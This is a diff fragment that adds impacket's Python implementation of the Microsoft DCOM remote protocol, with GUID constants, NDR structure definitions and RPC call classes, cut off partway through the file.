+    #instanceMyClass = b"xV4\x12\xd3\x01\x00\x00\x06\x00DPRAVAT-DEV\x00\x00ROOT\x00v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x00\x00\x00\x00 {\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x04\x00\x00\x00\x01&\x00\x00\x80\x00MyClass\x00\x03\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00StringField\x00"
+    #encodingUnit = ENCODING_UNIT(instanceMyClass)
+    #encodingUnit.dump()
+    #encodingUnit['ObjectBlock'].printInformation()
diff --git a/impacket/dcerpc/v5/dcomrt.py b/impacket/dcerpc/v5/dcomrt.py
new file mode 100644
index 0000000..f0605cc
--- /dev/null
+++ b/impacket/dcerpc/v5/dcomrt.py
@@ -0,0 +1,1917 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-DCOM] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# ToDo:
+#   [X] Use the same DCE connection for all the calls. Right now is connecting to the remote machine
+#       for each call, making it slower.
+#   [X] Implement a ping mechanism, otherwise the garbage collector at the server shuts down the objects if
+#       not used, returning RPC_E_DISCONNECTED
+#
+
+from __future__ import division
+from __future__ import print_function
+import socket
+from struct import pack
+from threading import Timer, current_thread
+
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA
+from impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \
+    UUID, WIDESTR, NULL
+from impacket import hresult_errors, LOG
+from impacket.uuid import string_to_bin, uuidtup_to_bin, generate
+from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE, \
+    RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT, DCERPCException
+from impacket.dcerpc.v5 import transport
+
+CLSID_ActivationContextInfo   = string_to_bin('000001a5-0000-0000-c000-000000000046')
+CLSID_ActivationPropertiesIn  = string_to_bin('00000338-0000-0000-c000-000000000046')
+CLSID_ActivationPropertiesOut = string_to_bin('00000339-0000-0000-c000-000000000046')
+CLSID_CONTEXT_EXTENSION       = string_to_bin('00000334-0000-0000-c000-000000000046')
+CLSID_ContextMarshaler        = string_to_bin('0000033b-0000-0000-c000-000000000046')
+CLSID_ERROR_EXTENSION         = string_to_bin('0000031c-0000-0000-c000-000000000046')
+CLSID_ErrorObject             = string_to_bin('0000031b-0000-0000-c000-000000000046')
+CLSID_InstanceInfo            = string_to_bin('000001ad-0000-0000-c000-000000000046')
+CLSID_InstantiationInfo       = string_to_bin('000001ab-0000-0000-c000-000000000046')
+CLSID_PropsOutInfo            = string_to_bin('00000339-0000-0000-c000-000000000046')
+CLSID_ScmReplyInfo            = string_to_bin('000001b6-0000-0000-c000-000000000046')
+CLSID_ScmRequestInfo          = string_to_bin('000001aa-0000-0000-c000-000000000046')
+CLSID_SecurityInfo            = string_to_bin('000001a6-0000-0000-c000-000000000046')
+CLSID_ServerLocationInfo      = string_to_bin('000001a4-0000-0000-c000-000000000046')
+CLSID_SpecialSystemProperties = string_to_bin('000001b9-0000-0000-c000-000000000046')
+IID_IActivation               = uuidtup_to_bin(('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57','0.0'))
+IID_IActivationPropertiesIn   = uuidtup_to_bin(('000001A2-0000-0000-C000-000000000046','0.0'))
+IID_IActivationPropertiesOut  = uuidtup_to_bin(('000001A3-0000-0000-C000-000000000046','0.0'))
+IID_IContext                  = uuidtup_to_bin(('000001c0-0000-0000-C000-000000000046','0.0'))
+IID_IObjectExporter           = uuidtup_to_bin(('99fcfec4-5260-101b-bbcb-00aa0021347a','0.0'))
+IID_IRemoteSCMActivator       = uuidtup_to_bin(('000001A0-0000-0000-C000-000000000046','0.0'))
+IID_IRemUnknown               = uuidtup_to_bin(('00000131-0000-0000-C000-000000000046','0.0'))
+IID_IRemUnknown2              = uuidtup_to_bin(('00000143-0000-0000-C000-000000000046','0.0'))
+IID_IUnknown                  = uuidtup_to_bin(('00000000-0000-0000-C000-000000000046','0.0'))
+IID_IClassFactory             = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        if self.error_code in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]
+            return 'DCOM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'DCOM SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.2.1 OID
+OID = ULONGLONG
+
+class OID_ARRAY(NDRUniConformantArray):
+    item = OID
+
+class POID_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', OID_ARRAY),
+    )
+
+# 2.2.2 SETID
+SETID = ULONGLONG
+
+# 2.2.4 error_status_t
+error_status_t = ULONG
+
+# 2.2.6 CID
+CID = GUID
+
+# 2.2.7 CLSID
+CLSID = GUID
+
+# 2.2.8 IID
+IID = GUID
+PIID = PGUID
+
+# 2.2.9 IPID
+IPID = GUID
+
+# 2.2.10 OXID
+OXID = ULONGLONG
+
+# 2.2.18 OBJREF
+FLAGS_OBJREF_STANDARD = 0x00000001
+FLAGS_OBJREF_HANDLER  = 0x00000002
+FLAGS_OBJREF_CUSTOM   = 0x00000004
+FLAGS_OBJREF_EXTENDED = 0x00000008
+
+# 2.2.18.1 STDOBJREF
+SORF_NOPING = 0x00001000
+
+# 2.2.20 Context
+CTXMSHLFLAGS_BYVAL = 0x00000002
+
+# 2.2.20.1 PROPMARSHALHEADER
+CPFLAG_PROPAGATE = 0x00000001
+CPFLAG_EXPOSE    = 0x00000002
+CPFLAG_ENVOY     = 0x00000004
+
+# 2.2.22.2.1 InstantiationInfoData
+ACTVFLAGS_DISABLE_AAA            = 0x00000002
+ACTVFLAGS_ACTIVATE_32_BIT_SERVER = 0x00000004
+ACTVFLAGS_ACTIVATE_64_BIT_SERVER = 0x00000008
+ACTVFLAGS_NO_FAILURE_LOG         = 0x00000020
+
+# 2.2.22.2.2 SpecialPropertiesData
+SPD_FLAG_USE_CONSOLE_SESSION  = 0x00000001
+
+# 2.2.28.1 IDL Range Constants
+MAX_REQUESTED_INTERFACES = 0x8000
+MAX_REQUESTED_PROTSEQS   = 0x8000
+MIN_ACTPROP_LIMIT        = 1
+MAX_ACTPROP_LIMIT        = 10
+
+################################################################################
+# STRUCTURES
+################################################################################
+class handle_t(NDRSTRUCT):
+    structure =  (
+        ('context_handle_attributes',ULONG),
+        ('context_handle_uuid',UUID),
+    )
+
+    def __init__(self, data=None, isNDR64=False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        self['context_handle_uuid'] = b'\x00'*16
+
+    def isNull(self):
+        return self['context_handle_uuid'] == b'\x00'*16
+
+# 2.2.11 COMVERSION
+class COMVERSION(NDRSTRUCT):
+    default_major_version = 5
+    default_minor_version = 7
+
+    structure = (
+        ('MajorVersion',USHORT),
+        ('MinorVersion',USHORT),
+    )
+
+    @classmethod
+    def set_default_version(cls, major_version=None, minor_version=None):
+        # Set default dcom version for all new COMVERSION objects.
+        if major_version is not None:
+            cls.default_major_version = major_version
+        if minor_version is not None:
+            cls.default_minor_version = minor_version
+
+    def __init__(self, data = None,isNDR64 = False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        if data is None:
+            self['MajorVersion'] = self.default_major_version
+            self['MinorVersion'] = self.default_minor_version
+
+class PCOMVERSION(NDRPOINTER):
+    referent = (
+        ('Data', COMVERSION),
+    )
+
+# 2.2.13.1 ORPC_EXTENT
+# This MUST contain an array of bytes that form the extent data. 
+# The array size MUST be a multiple of 8 for alignment reasons.
+class BYTE_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+class ORPC_EXTENT(NDRSTRUCT):
+    structure = (
+        ('id',GUID),
+        ('size',ULONG),
+        ('data',BYTE_ARRAY),
+    )
+
+# 2.2.13.2 ORPC_EXTENT_ARRAY
+# ThisMUSTbeanarrayofORPC_EXTENTs.ThearraysizeMUSTbeamultipleof2for alignment reasons.
+class PORPC_EXTENT(NDRPOINTER):
+    referent = (
+        ('Data', ORPC_EXTENT),
+    )
+
+class EXTENT_ARRAY(NDRUniConformantArray):
+    item = PORPC_EXTENT
+
+class PEXTENT_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', EXTENT_ARRAY),
+    )
+
+class ORPC_EXTENT_ARRAY(NDRSTRUCT):
+    structure = (
+        ('size',ULONG),
+        ('reserved',ULONG),
+        ('extent',PEXTENT_ARRAY),
+    )
+
+class PORPC_EXTENT_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', ORPC_EXTENT_ARRAY),
+    )
+
+# 2.2.13.3 ORPCTHIS
+class ORPCTHIS(NDRSTRUCT):
+    structure = (
+        ('version',COMVERSION),
+        ('flags',ULONG),
+        ('reserved1',ULONG),
+        ('cid',CID),
+        ('extensions',PORPC_EXTENT_ARRAY),
+    )
+
+# 2.2.13.4 ORPCTHAT
+class ORPCTHAT(NDRSTRUCT):
+    structure = (
+        ('flags',ULONG),
+        ('extensions',PORPC_EXTENT_ARRAY),
+    )
+
+# 2.2.14 MInterfacePointer
+class MInterfacePointer(NDRSTRUCT):
+    structure = (
+        ('ulCntData',ULONG),
+        ('abData',BYTE_ARRAY),
+    )
+
+# 2.2.15 PMInterfacePointerInternal
+class PMInterfacePointerInternal(NDRPOINTER):
+    referent = (
+        ('Data', MInterfacePointer),
+    )
+
+# 2.2.16 PMInterfacePointer
+class PMInterfacePointer(NDRPOINTER):
+    referent = (
+        ('Data', MInterfacePointer),
+    )
+
+class PPMInterfacePointer(NDRPOINTER):
+    referent = (
+        ('Data', PMInterfacePointer),
+    )
+
+# 2.2.18 OBJREF
+class OBJREF(NDRSTRUCT):
+    commonHdr = (
+        ('signature',ULONG),
+        ('flags',ULONG),
+        ('iid',GUID),
+    )
+    def __init__(self, data = None,isNDR64 = False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        if data is None:
+            self['signature'] = 0x574F454D
+
+# 2.2.18.1 STDOBJREF
+class STDOBJREF(NDRSTRUCT):
+    structure = (
+        ('flags',ULONG),
+        ('cPublicRefs',ULONG),
+        ('oxid',OXID),
+        ('oid',OID),
+        ('ipid',IPID),
+    )
+
+# 2.2.18.4 OBJREF_STANDARD
+class OBJREF_STANDARD(OBJREF):
+    structure = (
+        ('std',STDOBJREF),
+        ('saResAddr',':'),
+    )
+    def __init__(self, data = None,isNDR64 = False):
+        OBJREF.__init__(self, data, isNDR64)
+        if data is None:
+            self['flags'] = FLAGS_OBJREF_STANDARD
+
+# 2.2.18.5 OBJREF_HANDLER
+class OBJREF_HANDLER(OBJREF):
+    structure = (
+        ('std',STDOBJREF),
+        ('clsid',CLSID),
+        ('saResAddr',':'),
+    )
+    def __init__(self, data = None,isNDR64 = False):
+        OBJREF.__init__(self, data, isNDR64)
+        if data is None:
+            self['flags'] = FLAGS_OBJREF_HANDLER
+
+# 2.2.18.6 OBJREF_CUSTOM
+class OBJREF_CUSTOM(OBJREF):
+    structure = (
+        ('clsid',CLSID),
+        ('cbExtension',ULONG),
+        ('ObjectReferenceSize',ULONG),
+        ('pObjectData',':'),
+    )
+    def __init__(self, data = None,isNDR64 = False):
+        OBJREF.__init__(self, data, isNDR64)
+        if data is None:
+            self['flags'] = FLAGS_OBJREF_CUSTOM
+
+# 2.2.18.8 DATAELEMENT
+class DATAELEMENT(NDRSTRUCT):
+    structure = (
+        ('dataID',GUID),
+        ('cbSize',ULONG),
+        ('cbRounded',ULONG),
+        ('Data',':'),
+    )
+
+class DUALSTRINGARRAYPACKED(NDRSTRUCT):
+    structure = (
+        ('wNumEntries',USHORT),
+        ('wSecurityOffset',USHORT),
+        ('aStringArray',':'),
+    )
+    def getDataLen(self, data, offset=0):
+        return self['wNumEntries']*2
+
+# 2.2.18.7 OBJREF_EXTENDED
+class OBJREF_EXTENDED(OBJREF):
+    structure = (
+        ('std',STDOBJREF),
+        ('Signature1',ULONG),
+        ('saResAddr',DUALSTRINGARRAYPACKED),
+        ('nElms',ULONG),
+        ('Signature2',ULONG),
+        ('ElmArray',DATAELEMENT),
+    )
+    def __init__(self, data = None, isNDR64 = False):
+        OBJREF.__init__(self, data, isNDR64)
+        if data is None:
+            self['flags'] = FLAGS_OBJREF_EXTENDED
+            self['Signature1'] = 0x4E535956
+            self['Signature1'] = 0x4E535956
+            self['nElms'] = 0x4E535956
+
+# 2.2.19 DUALSTRINGARRAY
+class USHORT_ARRAY(NDRUniConformantArray):
+    item = '<H'
+
+class PUSHORT_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', USHORT_ARRAY),
+    )
+
+class DUALSTRINGARRAY(NDRSTRUCT):
+    structure = (
+        ('wNumEntries',USHORT),
+        ('wSecurityOffset',USHORT),
+        ('aStringArray',USHORT_ARRAY),
+    )
+
+class PDUALSTRINGARRAY(NDRPOINTER):
+    referent = (
+        ('Data',DUALSTRINGARRAY),
+    )
+
+# 2.2.19.3 STRINGBINDING
+class STRINGBINDING(NDRSTRUCT):
+    structure = (
+        ('wTowerId',USHORT),
+        ('aNetworkAddr',WIDESTR),
+    )
+
+# 2.2.19.4 SECURITYBINDING
+class SECURITYBINDING(NDRSTRUCT):
+    structure = (
+        ('wAuthnSvc',USHORT),
+        ('Reserved',USHORT),
+        ('aPrincName',WIDESTR),
+    )
+
+# 2.2.20.1 PROPMARSHALHEADER
+class PROPMARSHALHEADER(NDRSTRUCT):
+    structure = (
+        ('clsid',CLSID),
+        ('policyId',GUID),
+        ('flags',ULONG),
+        ('cb',ULONG),
+        ('ctxProperty',':'),
+    )
+
+class PROPMARSHALHEADER_ARRAY(NDRUniConformantArray):
+    item = PROPMARSHALHEADER
+
+# 2.2.20 Context
+class Context(NDRSTRUCT):
+    structure = (
+        ('MajorVersion',USHORT),
+        ('MinVersion',USHORT),
+        ('ContextId',GUID),
+        ('Flags',ULONG),
+        ('Reserved',ULONG),
+        ('dwNumExtents',ULONG),
+        ('cbExtents',ULONG),
+        ('MshlFlags',ULONG),
+        ('Count',ULONG),
+        ('Frozen',ULONG),
+        ('PropMarshalHeader',PROPMARSHALHEADER_ARRAY),
+    )
+
+# 2.2.21.3 ErrorInfoString
+class ErrorInfoString(NDRSTRUCT):
+    structure = (
+        ('dwMax',ULONG),
+        ('dwOffSet',ULONG),
+        ('dwActual',IID),
+        ('Name',WSTR),
+    )
+
+# 2.2.21.2 Custom-Marshaled Error Information Format
+class ORPC_ERROR_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('dwVersion',ULONG),
+        ('dwHelpContext',ULONG),
+        ('iid',IID),
+        ('dwSourceSignature',ULONG),
+        ('Source',ErrorInfoString),
+        ('dwDescriptionSignature',ULONG),
+        ('Description',ErrorInfoString),
+        ('dwHelpFileSignature',ULONG),
+        ('HelpFile',ErrorInfoString),
+    )
+
+# 2.2.21.5 EntryHeader
+class EntryHeader(NDRSTRUCT):
+    structure = (
+        ('Signature',ULONG),
+        ('cbEHBuffer',ULONG),
+        ('cbSize',ULONG),
+        ('reserved',ULONG),
+        ('policyID',GUID),
+    )
+
+class EntryHeader_ARRAY(NDRUniConformantArray):
+    item = EntryHeader
+
+# 2.2.21.4 Context ORPC Extension
+class ORPC_CONTEXT(NDRSTRUCT):
+    structure = (
+        ('SignatureVersion',ULONG),
+        ('Version',ULONG),
+        ('cPolicies',ULONG),
+        ('cbBuffer',ULONG),
+        ('cbSize',ULONG),
+        ('hr',ULONG),
+        ('hrServer',ULONG),
+        ('reserved',ULONG),
+        ('EntryHeader',EntryHeader_ARRAY),
+        ('PolicyData',':'),
+    )
+    def __init__(self, data = None, isNDR64 = False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        if data is None:
+            self['SignatureVersion'] = 0x414E554B
+
+# 2.2.22.1 CustomHeader
+class CLSID_ARRAY(NDRUniConformantArray):
+    item = CLSID
+
+class PCLSID_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', CLSID_ARRAY),
+    )
+
+class DWORD_ARRAY(NDRUniConformantArray):
+    item = DWORD
+
+class PDWORD_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DWORD_ARRAY),
+    )
+
+class CustomHeader(TypeSerialization1):
+    structure = (
+        ('totalSize',DWORD),
+        ('headerSize',DWORD),
+        ('dwReserved',DWORD),
+        ('destCtx',DWORD),
+        ('cIfs',DWORD),
+        ('classInfoClsid',CLSID),
+        ('pclsid',PCLSID_ARRAY),
+        ('pSizes',PDWORD_ARRAY),
+        ('pdwReserved',LPLONG),
+        #('pdwReserved',LONG),
+    )
+    def getData(self, soFar = 0):
+        self['headerSize'] = len(TypeSerialization1.getData(self, soFar)) + len(
+            TypeSerialization1.getDataReferents(self, soFar))
+        self['cIfs'] = len(self['pclsid'])
+        return TypeSerialization1.getData(self, soFar)
+
+# 2.2.22 Activation Properties BLOB
+class ACTIVATION_BLOB(NDRTLSTRUCT):
+    structure = (
+        ('dwSize',ULONG),
+        ('dwReserved',ULONG),
+        ('CustomHeader',CustomHeader),
+        ('Property',UNKNOWNDATA),
+    )
+    def getData(self, soFar = 0):
+        self['dwSize'] = len(self['CustomHeader'].getData(soFar)) + len(
+            self['CustomHeader'].getDataReferents(soFar)) + len(self['Property'])
+        self['CustomHeader']['totalSize'] = self['dwSize']
+        return NDRTLSTRUCT.getData(self)
+
+# 2.2.22.2.1 InstantiationInfoData
+class IID_ARRAY(NDRUniConformantArray):
+    item = IID
+
+class PIID_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', IID_ARRAY),
+    )
+
+class InstantiationInfoData(TypeSerialization1):
+    structure = (
+        ('classId',CLSID),
+        ('classCtx',DWORD),
+        ('actvflags',DWORD),
+        ('fIsSurrogate',LONG),
+        ('cIID',DWORD),
+        ('instFlag',DWORD),
+        ('pIID',PIID_ARRAY),
+        ('thisSize',DWORD),
+        ('clientCOMVersion',COMVERSION),
+    )
+
+# 2.2.22.2.2 SpecialPropertiesData
+class SpecialPropertiesData(TypeSerialization1):
+    structure = (
+        ('dwSessionId',ULONG),
+        ('fRemoteThisSessionId',LONG),
+        ('fClientImpersonating',LONG),
+        ('fPartitionIDPresent',LONG),
+        ('dwDefaultAuthnLvl',DWORD),
+        ('guidPartition',GUID),
+        ('dwPRTFlags',DWORD),
+        ('dwOrigClsctx',DWORD),
+        ('dwFlags',DWORD),
+        ('Reserved0',DWORD),
+        ('Reserved0',DWORD),
+        ('Reserved', '32s=""'),
+        #('Reserved1',DWORD),
+        #('Reserved2',ULONGLONG),
+        #('Reserved3_1',DWORD),
+        #('Reserved3_2',DWORD),
+        #('Reserved3_3',DWORD),
+        #('Reserved3_4',DWORD),
+        #('Reserved3_5',DWORD),
+    )
+
+# 2.2.22.2.3 InstanceInfoData
+class InstanceInfoData(TypeSerialization1):
+    structure = (
+        ('fileName',LPWSTR),
+        ('mode',DWORD),
+        ('ifdROT',PMInterfacePointer),
+        ('ifdStg',PMInterfacePointer),
+    )
+
+# 2.2.22.2.4.1 customREMOTE_REQUEST_SCM_INFO
+class customREMOTE_REQUEST_SCM_INFO(NDRSTRUCT):
+    structure = (
+        ('ClientImpLevel',DWORD),
+        ('cRequestedProtseqs',USHORT),
+        ('pRequestedProtseqs',PUSHORT_ARRAY),
+    )
+
+class PcustomREMOTE_REQUEST_SCM_INFO(NDRPOINTER):
+    referent = (
+        ('Data', customREMOTE_REQUEST_SCM_INFO),
+    )
+
+# 2.2.22.2.4 ScmRequestInfoData
+class ScmRequestInfoData(TypeSerialization1):
+    structure = (
+        ('pdwReserved',LPLONG),
+        ('remoteRequest',PcustomREMOTE_REQUEST_SCM_INFO),
+    )
+
+# 2.2.22.2.5 ActivationContextInfoData
+class ActivationContextInfoData(TypeSerialization1):
+    structure = (
+        ('clientOK',LONG),
+        ('bReserved1',LONG),
+        ('dwReserved1',DWORD),
+        ('dwReserved2',DWORD),
+        ('pIFDClientCtx',PMInterfacePointer),
+        ('pIFDPrototypeCtx',PMInterfacePointer),
+    )
+
+# 2.2.22.2.6 LocationInfoData
+class LocationInfoData(TypeSerialization1):
+    structure = (
+        ('machineName',LPWSTR),
+        ('processId',DWORD),
+        ('apartmentId',DWORD),
+        ('contextId',DWORD),
+    )
+
+# 2.2.22.2.7.1 COSERVERINFO
+class COSERVERINFO(NDRSTRUCT):
+    structure = (
+        ('dwReserved1',DWORD),
+        ('pwszName',LPWSTR),
+        ('pdwReserved',LPLONG),
+        ('dwReserved2',DWORD),
+    )
+
+class PCOSERVERINFO(NDRPOINTER):
+    referent = (
+        ('Data', COSERVERINFO),
+    )
+
+# 2.2.22.2.7 SecurityInfoData
+class SecurityInfoData(TypeSerialization1):
+    structure = (
+        ('dwAuthnFlags',DWORD),
+        ('pServerInfo',PCOSERVERINFO),
+        ('pdwReserved',LPLONG),
+    )
+
+# 2.2.22.2.8.1 customREMOTE_REPLY_SCM_INFO
+class customREMOTE_REPLY_SCM_INFO(NDRSTRUCT):
+    structure = (
+        ('Oxid',OXID),
+        ('pdsaOxidBindings',PDUALSTRINGARRAY),
+        ('ipidRemUnknown',IPID),
+        ('authnHint',DWORD),
+        ('serverVersion',COMVERSION),
+    )
+
+class PcustomREMOTE_REPLY_SCM_INFO(NDRPOINTER):
+    referent = (
+        ('Data', customREMOTE_REPLY_SCM_INFO),
+    )
+
+# 2.2.22.2.8 ScmReplyInfoData
+class ScmReplyInfoData(TypeSerialization1):
+    structure = (
+        ('pdwReserved',DWORD),
+        ('remoteReply',PcustomREMOTE_REPLY_SCM_INFO),
+    )
+
+# 2.2.22.2.9 PropsOutInfo
+class HRESULT_ARRAY(NDRUniConformantArray):
+    item = HRESULT
+
+class PHRESULT_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', HRESULT_ARRAY),
+    )
+
+class MInterfacePointer_ARRAY(NDRUniConformantArray):
+    item = MInterfacePointer
+
+class PMInterfacePointer_ARRAY(NDRUniConformantArray):
+    item = PMInterfacePointer
+
+class PPMInterfacePointer_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', PMInterfacePointer_ARRAY),
+    )
+
+class PropsOutInfo(TypeSerialization1):
+    structure = (
+        ('cIfs',DWORD),
+        ('piid',PIID_ARRAY),
+        ('phresults',PHRESULT_ARRAY),
+        ('ppIntfData',PPMInterfacePointer_ARRAY),
+    )
+
+# 2.2.23 REMINTERFACEREF
+class REMINTERFACEREF(NDRSTRUCT):
+    structure = (
+        ('ipid',IPID),
+        ('cPublicRefs',LONG),
+        ('cPrivateRefs',LONG),
+    )
+
+class REMINTERFACEREF_ARRAY(NDRUniConformantArray):
+    item = REMINTERFACEREF
+
+# 2.2.24 REMQIRESULT
+class REMQIRESULT(NDRSTRUCT):
+    structure = (
+        ('hResult',HRESULT),
+        ('std',STDOBJREF),
+    )
+
+# 2.2.25 PREMQIRESULT
+class PREMQIRESULT(NDRPOINTER):
+    referent = (
+        ('Data', REMQIRESULT),
+    )
+
+# 2.2.26 REFIPID
+REFIPID = GUID
+
+################################################################################
+# RPC CALLS
+################################################################################
+class DCOMCALL(NDRCALL):
+    commonHdr = (
+       ('ORPCthis', ORPCTHIS),
+    )
+
+class DCOMANSWER(NDRCALL):
+    commonHdr = (
+       ('ORPCthat', ORPCTHAT),
+    )
+
+# 3.1.2.5.1.1 IObjectExporter::ResolveOxid (Opnum 0)
+class ResolveOxid(NDRCALL):
+    opnum = 0
+    structure = (
+       ('pOxid', OXID),
+       ('cRequestedProtseqs', USHORT),
+       ('arRequestedProtseqs', USHORT_ARRAY),
+    )
+
+class ResolveOxidResponse(NDRCALL):
+    structure = (
+       ('ppdsaOxidBindings', PDUALSTRINGARRAY),
+       ('pipidRemUnknown', IPID),
+       ('pAuthnHint', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.2.5.1.2 IObjectExporter::SimplePing (Opnum 1)
+class SimplePing(NDRCALL):
+    opnum = 1
+    structure = (
+       ('pSetId', SETID),
+    )
+
+class SimplePingResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.2.5.1.3 IObjectExporter::ComplexPing (Opnum 2)
+class ComplexPing(NDRCALL):
+    opnum = 2
+    structure = (
+       ('pSetId', SETID),
+       ('SequenceNum', USHORT),
+       ('cAddToSet', USHORT),
+       ('cDelFromSet', USHORT),
+       ('AddToSet', POID_ARRAY),
+       ('DelFromSet', POID_ARRAY),
+    )
+
+class ComplexPingResponse(NDRCALL):
+    structure = (
+       ('pSetId', SETID),
+       ('pPingBackoffFactor', USHORT),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.2.5.1.4 IObjectExporter::ServerAlive (Opnum 3)
+class ServerAlive(NDRCALL):
+    opnum = 3
+    structure = (
+    )
+
+class ServerAliveResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.2.5.1.5 IObjectExporter::ResolveOxid2 (Opnum 4)
+class ResolveOxid2(NDRCALL):
+    opnum = 4
+    structure = (
+       ('pOxid', OXID),
+       ('cRequestedProtseqs', USHORT),
+       ('arRequestedProtseqs', USHORT_ARRAY),
+    )
+
+class ResolveOxid2Response(NDRCALL):
+    structure = (
+       ('ppdsaOxidBindings', PDUALSTRINGARRAY),
+       ('pipidRemUnknown', IPID),
+       ('pAuthnHint', DWORD),
+       ('pComVersion', COMVERSION),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.2.5.1.6 IObjectExporter::ServerAlive2 (Opnum 5)
+class ServerAlive2(NDRCALL):
+    opnum = 5
+    structure = (
+    )
+
+class ServerAlive2Response(NDRCALL):
+    structure = (
+       ('pComVersion', COMVERSION),
+       ('ppdsaOrBindings', PDUALSTRINGARRAY),
+       ('pReserved', LPLONG),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.2.5.2.3.1 IActivation:: RemoteActivation (Opnum 0)
+class RemoteActivation(NDRCALL):
+    opnum = 0
+    structure = (
+       ('ORPCthis', ORPCTHIS),
+       ('Clsid', GUID),
+       ('pwszObjectName', LPWSTR),
+       ('pObjectStorage', PMInterfacePointer),
+       ('ClientImpLevel', DWORD),
+       ('Mode', DWORD),
+       ('Interfaces', DWORD),
+       ('pIIDs', PIID_ARRAY),
+       ('cRequestedProtseqs', USHORT),
+       ('aRequestedProtseqs', USHORT_ARRAY),
+    )
+
+class RemoteActivationResponse(NDRCALL):
+    structure = (
+       ('ORPCthat', ORPCTHAT),
+       ('pOxid', OXID),
+       ('ppdsaOxidBindings', PDUALSTRINGARRAY),
+       ('pipidRemUnknown', IPID),
+       ('pAuthnHint', DWORD),
+       ('pServerVersion', COMVERSION),
+       ('phr', HRESULT),
+       ('ppInterfaceData', PMInterfacePointer_ARRAY),
+       ('pResults', HRESULT_ARRAY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.2.5.2.3.2 IRemoteSCMActivator:: RemoteGetClassObject (Opnum 3)
